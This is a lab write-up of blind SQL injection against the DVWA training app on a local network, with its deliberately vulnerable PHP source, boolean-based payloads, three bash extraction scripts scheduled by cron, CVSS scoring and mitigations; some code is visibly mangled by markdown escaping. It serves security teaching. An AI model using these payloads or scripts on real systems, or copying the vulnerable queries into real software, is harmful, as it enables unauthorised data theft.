Blind SQL Injection in DVWA

1 Introduction
In this post, the Blind SQL Injection vulnerability in the Damn Vulnerable Web Application (DVWA) is described. The objective for attacks on all levels is to find the version of the SQL database software.
The creators of DVWA describe the blind SQL injection module in the following way:
When an attacker executes SQL injection attacks, sometimes the server responds with error messages from the database server complaining that the SQL query's syntax is incorrect. Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application, rather then getting a useful error message, they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through SQL statements, and monitoring how the web application response (valid entry retunred or 404 header set).
"time based" injection method is often used when there is no visible feedback in how the page different in its response (hence its a blind attack). This means the attacker will wait to see how long the page takes to response back. If it takes longer than normal, their query was successful.
2 Lab environment
The penetration test is performed using virtual machines set up on Oracle VirtualBox. The VM specifications can be viewed in table 1 below.
.
Table 1
Lab environment setup.
| Vulnerable DVWA client | Attacker device | |
|---|---|---|
| IP address | 192.168.56.105 | 192.168.56.101 |
| Operating system | Kali GNU/Linux Rolling | Kali GNU/Linux Rolling |
| Network | Host-only Adapter | Host-only Adapter |
3 Vulnerability description
For the low security level, the page vulnerable to blind SQL injection consists of a user ID input field and a submit button, see figure 1 below. The source code reveals that direct user input is inserted into the SQL query and that the ID value is wrapped in quotes, but is not sanitized or validated. There are no prepared statements and no input filtering. The vulnerability arises from direct string concatenation of user input into the SQL query. The query results are never shown, instead the application only checks if the query returns any rows. If rows are returned, the text "User ID exists in the database." is displayed on the screen. If not, the text "User ID is MISSING from the database." is displayed. Additionally, the application does not return SQL error messages, meaning exploitation relies on boolean-based blind inference rather than error-based feedback.
.
Figure 1
The blind SQL injection page in DVWA on the low security level.
.
vulnerabilities/sqli_blind/source/low.php:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
\(id = \)_GET[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
\(query = "SELECT first_name, last_name FROM users WHERE user_id = '\)id';";
try {
\(result = mysqli_query(\)GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
} catch (Exception $e) {
print "There was an error.";
exit;
}
$exists = false;
if ($result !== false) {
try {
\(exists = (mysqli_num_rows( \)result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null(\(___mysqli_res = mysqli_close(\)GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
\(query = "SELECT first_name, last_name FROM users WHERE user_id = '\)id';";
try {
\(results = \)sqlite_db_connection->query($query);
\(row = \)results->fetchArray();
\(exists = \)row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
.
For the medium security level, the page vulnerable to SQL injection consists of a user ID list and a submit button, see figure 2 below. The source code reveals that mysqli_real_escape_string() is used to escape special characters, but the ID value is not placed inside quotes. The variable is not type-checked and the input is not strictly enforced as numeric. However, because the value is not enclosed in quotes in the SQL query, the escaping provides limited protection in this context. Like the low security level, the query results are never shown, instead the application only checks if the query returns any rows. If rows are returned, the text "User ID exists in the database." is displayed on the screen. If not, the text "User ID is MISSING from the database." is displayed. Additionally, the application does not return SQL error messages, meaning exploitation relies on boolean-based blind inference rather than error-based feedback.
.
Figure 2
The blind SQL injection page in DVWA on the medium security level.
.
vulnerabilities/sqli_blind/source/medium.php:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
\(id = \)_POST[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
\(id = ((isset(\)GLOBALS["___mysqli_ston"]) && is_object(\(GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string(\)GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
\(query = "SELECT first_name, last_name FROM users WHERE user_id = \)id;";
try {
\(result = mysqli_query(\)GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
} catch (Exception $e) {
print "There was an error.";
exit;
}
$exists = false;
if ($result !== false) {
try {
\(exists = (mysqli_num_rows( \)result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
break;
case SQLITE:
global $sqlite_db_connection;
\(query = "SELECT first_name, last_name FROM users WHERE user_id = \)id;";
try {
\(results = \)sqlite_db_connection->query($query);
\(row = \)results->fetchArray();
\(exists = \)row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
.
For the high security level, the page vulnerable to SQL injection consists of a link to change ID that opens a new window with a user ID input field and a submit button, see figure 3. The source code reveals that the ID value comes from the cookie id instead of directly from user input, meaning that the application relies on client-controlled cookie data for query construction. There is no proper escaping, no prepared statements, and no input validation or type enforcement on this cookie data. As a result, an attacker can modify the cookie directly to inject malicious SQL payloads.
Like previous security levels, the query results are never shown on the high security level, instead the application only checks if the query returns any rows. If rows are returned, the text "User ID exists in the database." is displayed on the screen. If not, the text "User ID is MISSING from the database." is displayed. Additionally, the application does not return SQL error messages, meaning exploitation relies on boolean-based blind inference rather than error-based feedback. Lastly, the application introduces random delays in some cases when no results are found, using a probabilistic sleep function. This adds noise to response times and can interfere with time-based interference techniques by introducing non-deterministic latency.
.
Figure 3
The blind SQL injection page in DVWA on the high security level.
.
vulnerabilities/sqli_blind/source/high.php:
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
\(id = \)_COOKIE[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
\(query = "SELECT first_name, last_name FROM users WHERE user_id = '\)id' LIMIT 1;";
try {
\(result = mysqli_query(\)GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
} catch (Exception $e) {
$result = false;
}
$exists = false;
if ($result !== false) {
// Get results
try {
\(exists = (mysqli_num_rows( \)result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
((is_null(\(___mysqli_res = mysqli_close(\)GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
\(query = "SELECT first_name, last_name FROM users WHERE user_id = '\)id' LIMIT 1;";
try {
\(results = \)sqlite_db_connection->query($query);
\(row = \)results->fetchArray();
\(exists = \)row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
.
4 Attack steps
In this section, the attack steps are mapped to the Cyber Kill Chain. The screencast of the attack can be viewed here:
.
4.1 Reconnaissance
Using the browser developer tools on the low security level, it is revealed that submitting a value sends a GET request to http://192.168.56.105/DVWA/vulnerabilities/sqli_blind/?id=PAYLOAD&Submit=Submit, where "PAYLOAD" is the submitted value. Since the submission is included in the URL, any payloads will have to be URL-encoded. The request also includes cookies, which consist of the PHP session ID and the current security level.
On the medium security level, submitting a value sends a POST request to http://192.168.56.105/DVWA/vulnerabilities/sqli_blind/. The request includes cookies, which consist of the PHP session ID and the current security level. It also includes data, in the form of the ID and Submit=Submit.
On the high security level, submitting a value in the popup-window sends a POST request to http://192.168.56.105/DVWA/vulnerabilities/sqli_blind/cookie-input.php. The request includes cookies in the form of the PHP session ID and the current security level, and in the response there is an ID cookie. The request also includes data in the form of the ID and Submit=Submit. The database response is then retrieved in the regular window with a GET request to http://192.168.56.105/DVWA/vulnerabilities/sqli_blind/. The request includes cookies containing the PHP session ID, the current security level, and the ID.
.
For the low and high security levels, there are free-text input fields vulnerable to SQL injection. For the medium security level, the input field has been replaced with a predefined dropdown list of ID values. This client-side restriction, however, does not prevent manipulation of the underlying request. By using the browser developer tools on the web page vulnerable to SQL injection, it is possible to alter the value of the ID parameter before submission. For all security levels, submitting a malformed payload results in a general error message with no useful information.
On the low and high security levels, submitting 1' AND 1=1-- - returns true ("User ID exists in the database.") and submitting 1' AND 1=2-- - returns false ("User ID is MISSING from the database."), where -- - is the standards SQL comment style. On the medium security level, the ID value is not placed within quotes in the source code, meaning that including quotes in the payloads will result in failure. The payloads that worked on the low and high security levels have therefore here been replaced with 1 AND 1=1-- - and 1 AND 1=2-- -. The result shows that it is possible to get true and false answers from the database.
The payload 1' AND LENGTH(database()) > 0-- - (i.e. 1 AND LENGTH(database()) > 0-- - for the medium security level) returns true, meaning that database() is supported and that the database is in the MySQL/MariaDB family. It is now possible to switch the comment style to #, which is specific for this type of database. To find the version of the SQL database software, we now need to find the length of the database server version string and thereafter which characters are included in that string.
.
4.2 Weaponization
Using reconnaissance findings, SQL payloads are crafted for finding the length of the database server version string and thereafter which characters are included in that string. Payloads intended to be delivered via the input field in the application interface are created, as well as via an executable shell script.
.
The payloads and executable shell scripts are available below in this post, but they are also available on GitHub. I have noticed that there are sometimes discrepancies in the code in the final post compared to the draft, which might have something to do with the use of markdown on Hashnode, although I am not entirely sure. So, if the code in this post does not work, please try the code on GitHub instead. The GitHub repository can be found here:
https://github.com/wikblo-0/Blind_SQL_Injection_in_DVWA/
.
4.2.1 Individual payloads
The following payloads are intended to be delivered via the input field on the low and high security levels, or via HTML alteration on the medium security level. Please note that "NUMBER" is meant to be replaced with increasing integer values between 1 and 50 until the query returns true, "POSITION" is meant to be replaced with increasing integer values between 1 and the string length until all characters in the string has been found, and "CHARACTER" is meant to be replaced with an ASCII character code between 32 and 126 until the query returns true.
.
SQL payload for revealing the length of the database server version string on the low and high security levels:
1' and length(@@version)=NUMBER#
.
SQL payload for revealing the length of the database server version string on the medium security level:
1 and length(@@version)=NUMBER#
.
SQL payload for revealing the character at a certain position of the database server version string on the low and high security levels:
1' and ascii(substring(@@version,POSITION,1))=CHARACTER#
.
SQL payload for revealing the character at a certain position of the database server version string on the medium security level:
1 and ascii(substring(@@version,POSITION,1))=CHARACTER#
.
4.2.2 Executable shell script
The following executable script retrieves the login page and extracts the cookies, containing the session ID, and the user token, and then logs in as admin. SQL injection payloads are sent and the results are logged in local files.
Follow the steps below to set it up:
Open the command line and create a file with the following command:
nano /home/kali/scraper.shPaste the following contents for the low security level:
#!/bin/bash
SECURITY="low" #security level
USER="admin" #username
PASS="password" #current password
rm cookies.txt #removes old file with cookies
#saves login cookies and login page html to local files
curl -s -c cookies.txt \
-b "security=$SECURITY" \
http://192.168.56.105/DVWA/login.php \
>login.html
TOKEN=$(grep -oP "name='user_token' value='\K[^']+" login.html) #saves user token variable found in login html
PHPSESSID=\((awk '\)6=="PHPSESSID" {print $7}' cookies.txt) #saves PHP session ID found in cookies
#logs in using cookies and user token
curl -s -b cookies.txt \
-b "security=$SECURITY" \
-d "username=\(USER&password=\)PASS&user_token=$TOKEN&Login=Login" \
http://192.168.56.105/DVWA/login.php
#Attempts to find the length of the database server version string and saves result in local file
{
echo "Current security level: $SECURITY"
echo "Attempting to find the length of the database server version string"
echo "Trying length 1-50..."
echo "---------------------------------------------------"
for i in $(seq 1 50); do #Trying length 1-50
PAYLOAD="1%27%20AND%20LENGTH%28%40%40version%29%3D$i%23" #URL-encoded payload
RESPONSE=$(curl -s \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
"http://192.168.56.105/DVWA/vulnerabilities/sqli_blind/?id=$PAYLOAD&Submit=Submit")
if echo "$RESPONSE" | grep -q "User ID exists in the database."; then #If the response includes "User ID exists in the database.", then it is True
echo "---------------------------------------------------"
LENGTH="$i"
echo "Success! Length found: $LENGTH"
break
else #If the response does not include "User ID exists in the database.", then it is False
echo "Tried $i -> no match"
fi
done
}> /home/kali/sqliBlind_low1.log
#Attempts to find the name of the database server version string and saves result in local log file
{
echo "Current security level: $SECURITY"
echo "Attempting to find the name of the database server version string"
echo "String length: $LENGTH"
echo "---------------------------------------------------"
for ((pos=1; pos<=LENGTH; pos++)); do #For each position in the string
for ((ascii=32; ascii<=126; ascii++)); do #Trying ASCII 32-126
PAYLOAD="1%27%20AND%20ASCII%28SUBSTRING%28%40%40version%2C\(pos%2C1%29%29%3D\)ascii%23" #URL-encoded payload
RESPONSE=$(curl -s \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
"http://192.168.56.105/DVWA/vulnerabilities/sqli_blind/?id=$PAYLOAD&Submit=Submit")
if echo "$RESPONSE" | grep -q "User ID exists in the database."; then #If the response includes "User ID exists in the database.", then it is True
CHAR=\((printf "\\\)(printf '%03o' $ascii)") #Get character from ASCII
RESULT+="$CHAR" #Adds character to result string
echo "Char at position \(pos: \)CHAR (ASCII $ascii)"
break
fi
done
done
echo "---------------------------------------------------"
echo "Version: $RESULT"
}> /home/kali/sqliBlind_low2.log
.
or this for the medium security level:
#!/bin/bash
SECURITY="medium" #security level
USER="admin" #username
PASS="password" #current password
rm cookies.txt #removes old file with cookies
#saves login cookies and login page html to local files
curl -s -c cookies.txt \
-b "security=$SECURITY" \
http://192.168.56.105/DVWA/login.php \
>login.html
TOKEN=$(grep -oP "name='user_token' value='\K[^']+" login.html) #saves user token variable found in login html
PHPSESSID=\((awk '\)6=="PHPSESSID" {print $7}' cookies.txt) #saves PHP session ID found in cookies
#logs in using cookies and user token
curl -s -b cookies.txt \
-b "security=$SECURITY" \
-d "username=\(USER&password=\)PASS&user_token=$TOKEN&Login=Login" \
http://192.168.56.105/DVWA/login.php
#Attempts to find the length of the database server version string and saves result in local file
{
echo "Current security level: $SECURITY"
echo "Attempting to find the length of the database server version string"
echo "Trying length 1-50..."
echo "---------------------------------------------------"
for i in $(seq 1 50); do #Trying length 1-50
PAYLOAD="1 AND LENGTH(@@version)=$i#" #Payload
RESPONSE=$(curl -s -X POST \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
-d "id=$PAYLOAD&Submit=Submit" \
http://192.168.56.105/DVWA/vulnerabilities/sqli_blind/)
if echo "$RESPONSE" | grep -q "User ID exists in the database."; then #If the response includes "User ID exists in the da>
echo "---------------------------------------------------"
LENGTH="$i"
echo "Success! Length found: $LENGTH"
break
else #If the response does not include "User ID exists in the database.", then it is False
echo "Tried $i -> no match"
fi
done
}> /home/kali/sqliBlind_medium1.log
#Attempts to find the name of the database server version string and saves result in local log file
{
echo "Current security level: $SECURITY"
echo "Attempting to find the name of the database server version string"
echo "String length: $LENGTH"
echo "---------------------------------------------------"
for ((pos=1; pos<=LENGTH; pos++)); do #For each position in the string
for ((ascii=32; ascii<=126; ascii++)); do #Trying ASCII 32-126
PAYLOAD="1 AND ASCII(SUBSTRING(@@version,\(pos,1))=\)ascii#" #Payload
RESPONSE=$(curl -s -X POST \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
-d "id=$PAYLOAD&Submit=Submit" \
http://192.168.56.105/DVWA/vulnerabilities/sqli_blind/)
if echo "$RESPONSE" | grep -q "User ID exists in the database."; then #If the response includes "User ID exists in the >
CHAR=\((printf "\\\)(printf '%03o' $ascii)") #Get character from ASCII
RESULT+="$CHAR" #Adds character to result string
echo "Char at position \(pos: \)CHAR (ASCII $ascii)"
break
fi
done
done
echo "---------------------------------------------------"
echo "Version: $RESULT"
}> /home/kali/sqliBlind_medium2.log
.
or this for the high security level:
#!/bin/bash
SECURITY="high" #security level
USER="admin" #username
PASS="password" #current password
rm cookies.txt #removes old file with cookies
#saves login cookies and login page html to local files
curl -s -c cookies.txt \
-b "security=$SECURITY" \
http://192.168.56.105/DVWA/login.php \
>login.html
TOKEN=$(grep -oP "name='user_token' value='\K[^']+" login.html) #saves user token variable found in login html
PHPSESSID=\((awk '\)6=="PHPSESSID" {print $7}' cookies.txt) #saves PHP session ID found in cookies
#logs in using cookies and user token
curl -s -b cookies.txt \
-b "security=$SECURITY" \
-d "username=\(USER&password=\)PASS&user_token=$TOKEN&Login=Login" \
http://192.168.56.105/DVWA/login.php
#Attempts to find the length of the database server version string and saves result in local file
{
echo "Current security level: $SECURITY"
echo "Attempting to find the length of the database server version string"
echo "Trying length 1-50..."
echo "---------------------------------------------------"
for i in $(seq 1 50); do #Trying length 1-50
PAYLOAD="1' AND LENGTH(@@version)=$i#" #Payload
RESPONSE=$(curl -s \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY; id=$PAYLOAD" \
http://192.168.56.105/DVWA/vulnerabilities/sqli_blind/)
if echo "$RESPONSE" | grep -q "User ID exists in the database."; then #If the response includes "User ID exists in the database.", then it is True
echo "---------------------------------------------------"
LENGTH="$i"
echo "Success! Length found: $LENGTH"
break
else #If the response does not include "User ID exists in the database.", then it is False
echo "Tried $i -> no match"
fi
done
}> /home/kali/sqliBlind_high1.log
#Attempts to find the name of the database server version string and saves result in local log file
{
echo "Current security level: $SECURITY"
echo "Attempting to find the name of the database server version string"
echo "String length: $LENGTH"
echo "---------------------------------------------------"
for ((pos=1; pos<=LENGTH; pos++)); do #For each position in the string
for ((ascii=32; ascii<=126; ascii++)); do #Trying ASCII 32-126
PAYLOAD="1' AND ASCII(SUBSTRING(@@version,\(pos,1))=\)ascii#" #Payload
RESPONSE=$(curl -s \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY; id=$PAYLOAD" \
http://192.168.56.105/DVWA/vulnerabilities/sqli_blind/)
if echo "$RESPONSE" | grep -q "User ID exists in the database."; then #If the response includes "User ID exists in the database.", then it is True
CHAR=\((printf "\\\)(printf '%03o' $ascii)") #Get character from ASCII
RESULT+="$CHAR" #Adds character to result string
echo "Char at position \(pos: \)CHAR (ASCII $ascii)"
break
fi
done
done
echo "---------------------------------------------------"
echo "Version: $RESULT"
}> /home/kali/sqliBlind_high2.log
Save file (ctrl + x, y, enter).
Make the file executable with the following command:
chmod +x /home/kali/scraper.sh
.
4.3 Delivery
The SQL payloads that were crafted during the weaponization are delivered via the vulnerable input field in the application for the low and high security levels. For the medium security level, they are instead delivered via HTML alteration using the browser developer tools. As an alternative, they are also delivered through the executable shell script via a scheduled execution using cron. The scheduled execution is set up according to the following:
Open crontab using the following command:
crontab -eAdd the following for execution every 10 minutes:
*/10 * * * * /home/kali/scraper.shSave file (ctrl + x, y, enter).
Check the crontab with the following command:
crontab -lCheck directory for log files using the following commands:
cat /home/kali/sqliBlind_low1.logcat /home/kali/sqliBlind_low2.logcat /home/kali/sqliBlind_medium1.logcat /home/kali/sqliBlind_medium2.logcat /home/kali/sqliBlind_high1.logcat /home/kali/sqliBlind_high2.log
.
4.4 Exploitation
Due to improper input sanitization and lack of prepared statements, the application concatenates user input directly into SQL queries, executes injected SQL commands, and returns true or false database output in HTTP responses. Successful exploitation results in disclosure of the version of the SQL database software, in this case "11.8.3-MariaDB-1+b1 from Debian".
.
4.5 Installation
While no malware is installed on the target server, persistence is established on the attacker-controlled system by creating an executable automation script and scheduling recurring execution using cron. This ensures continued automated data extraction without manual interaction. In a real-world scenario, installation could involve uploading a web shell, creating a new database user, or modifying application files.
.
4.6 Command and Control
While there is no traditional command and control infrastructure in this attack, an authenticated session is maintained via cookies, there is periodic automated communication through scheduled HTTP requests, and exfiltrated data is retrieved through local log files. The attack channel is standard HTTP communication between attacker and web server.
.
4.7 Actions on Objectives
The attack objective was to extract the version of the SQL database software. By posting queries with true or false responses, it is possible to find the length of the database server version string and thereafter which characters are in it. Using the same technique, it is possible to extract the database schema and furthermore usernames and password hashes, which could then be cracked and reused in other authentication areas, or used for privilege escalation within the application.
5 Evidence of attack success
Evidence of attack success can be viewed for each security level below.
.
5.1 Low security level
Evidence of attack success on the low security level can be viewed in figure 4-7.
.
Figure 4
Database response "True".
.
Figure 5
Database response "False".
.
Figure 6
Finding the length of the database server version string.
.
Figure 7
Finding the name of the database server version string.
.
5.2 Medium security level
Evidence of attack success on the medium security level can be viewed in figure 8-12.
.
Figure 8
Payload delivery via HTML alteration.
.
Figure 9
Database response "True".
.
Figure 10
Database response "False".
.
Figure 11
Finding the length of the database server version string.
.
Figure 12
Finding the name of the database server version string.
.
5.3 High security level
Evidence of attack success on the high security level can be viewed in figure 13-16.
.
Figure 13
Database response "True".
.
Figure 14
Database response "False".
.
Figure 15
Finding the length of the database server version string.
.
Figure 16
Finding the name of the database server version string.
6 Impact analysis (CIA)
The blind SQL injection vulnerability allows an attacker to extract sensitive information from the database, even though query results are not directly displayed. By leveraging boolean-based inference techniques, it is possible to retrieve database version information, database schema, usernames and password hashes, and potentially other sensitive application data. Although the extraction process is slower compared to classic SQL injection, it still enables complete data disclosure over time. There is therefore a significant impact on confidentiality.
While the demonstrated attack focuses on data extraction, the vulnerability could also allow an attacker to modify database contents, depending on database permissions. Examples include updating user credentials, inserting malicious data, and deleting records. Even though DVWA limits functionality for learning purposes, in a real-world application the same vulnerability could lead to unauthorized data manipulation. There could therefore be an impact on integrity as well.
The vulnerability itself does not directly disrupt system availability. However, potential impacts include performance degradation due to repeated automated queries, abuse of expensive SQL functions, and database locking or resource exhaustion in extreme cases. Additionally, the high security level introduces random delays, which, while intended as a defense, can also contribute to slower response times under attack conditions.
7 Severity assessment (CVSS v4.0)
The vulnerability scores 9.4 (Critical) using the Common Vulnerability Scoring System (CVSS), version 4.0. For this calculation, the online FIRST CVSS v4.0 calculator was used (https://www.first.org/cvss/calculator/4.0#).
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
.
7.1 Exploitability metrics
The attack vector is network, as the vulnerability is exploited through HTTP requests to the web application over the network. The attack complexity is low, as the attack only requires crafting SQL payloads and sending them through a parameter without any special race conditions or environmental factors. The attack requirements are none, as no special conditions are needed, and the required privileges are low, as the attacker must be authenticated in DVWA to access the vulnerable page. The needed user interaction is none, as no victim interaction is required. An overview of this can be found in table 2.
.
Table 2
Exploitability metrics.
| Metric | Result |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Attack Requirements (AT) | None (N) |
| Privileges Required (PR) | Low (L) |
| User Interaction (UI) | None (N) |
.
7.2 Vulnerable system impact metrics
The vulnerable confidentiality impact is high, as the attack could reveal database schema, usernames and password hashes, which are sensitive information. While no vulnerable integrity and availability impact are achieved in this attack, it is possible for SQL injection to be used for data modification and interruption of service. Attackers could modify or delete database records, create new users, or alter application data, as well as drop tables, or execute heavy queries that disrupt services. They are therefore scored high here. An overview of this can be found in table 3.
.
Table 3
Vulnerable system impact metrics.
| Metric | Result |
|---|---|
| Confidentiality (VC) | High (H) |
| Integrity (VI) | High (H) |
| Availability (VA) | High (H) |
.
7.3 Subsequent system impact metrics
The subsequent confidentiality impact is high, as credentials obtained through blind SQL injection could theoretically be used to compromise other systems through credential reuse or lateral movement. The stolen credentials could thereby expose other systems or services. The subsequent integrity impact is high, as compromised credentials could potentially allow modification of other systems. The subsequent availability impact is high, as the same database could potentially be used for other systems, meaning that SQL injection could cause service disruption if data is deleted or modified. An overview of this can be found in table 4.
.
Table 4
Subsequent system impact metrics.
| Metric | Result |
|---|---|
| Confidentiality (SC) | High (H) |
| Integrity (SI) | High (H) |
| Availability (SA) | High (H) |
8 Mitigation strategies
Instead of concatenating user input directly into SQL, parameterized queries, i.e. prepared statements, could have been used to ensure that input is treated strictly as data. This prevents alteration of the SQL structure and effectively mitigates SQL injection vulnerabilities. Input validation should also be implemented to enforce expected formats, reject invalid input, and apply strict type validation. However, input validation should be considered a secondary defense and not a replacement for parameterized queries. Proper output encoding and error handling should also be implemented to prevent leakage of internal application behavior and database structure.
A web application firewall could provide an additional layer of defense by detecting and blocking common SQL injection patterns and enabling virtual patching. However, it should not be relied upon as a primary mitigation. The use of least-privilege database accounts should be enforced, ensuring that the application only has the minimum required permissions, thereby limiting the impact of a successful injection. Database hardening measures, such as disabling dangerous functions, should also be considered. Additionally, secure session management should be enforced by using HttpOnly and Secure cookie flags, as well as regenerating session IDs after authentication to prevent session fixation attacks. A secure development lifecycle should be prioritized, including code reviews, static and dynamic application security testing, and regular penetration testing to identify and remediate vulnerabilities early. Lastly, security controls such as rate limiting and anomaly detection can help identify and mitigate automated exploitation attempts.
.
8.1 The impossible security level in DVWA
On the impossible security level in DVWA, the blind SQL injection page consists of a user ID input field and a submit button, identical to the low security level. The source code reveals that prepared statements are used, meaning that SQL injection is no longer possible. Strict input validation is enforced, which forces integer type and rejects non-numeric input. There is also parameter typing, which means that even if something where to slip through, it is forced into an integer. This further means that strings and injected SQL are invalid.
Anti-CSRF protection has been added as well, preventing automated request forgery and blind scripted attacks without valid session tokens. Although the application still returns boolean responses indicating whether a user exists, this does not introduce a practical exploitation vector in the absence of injection vulnerabilities.
.
vulnerabilities/sqli_blind/source/impossible.php:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( \(_REQUEST[ 'user_token' ], \)_SESSION[ 'session_token' ], 'index.php' );
$exists = false;
// Get input
\(id = \)_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
\(id = intval (\)id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
\(data = \)db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
\(data->bindParam( ':id', \)id, PDO::PARAM_INT );
$data->execute();
\(exists = \)data->rowCount();
break;
case SQLITE:
global $sqlite_db_connection;
\(stmt = \)sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );
\(stmt->bindValue(':id',\)id,SQLITE3_INTEGER);
\(result = \)stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
\(num_columns = \)result->numColumns();
if ($num_columns == 1) {
\(row = \)result->fetchArray();
\(numrows = \)row[ 'numrows' ];
\(exists = (\)numrows == 1);
}
}
break;
}
}
// Get results
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>





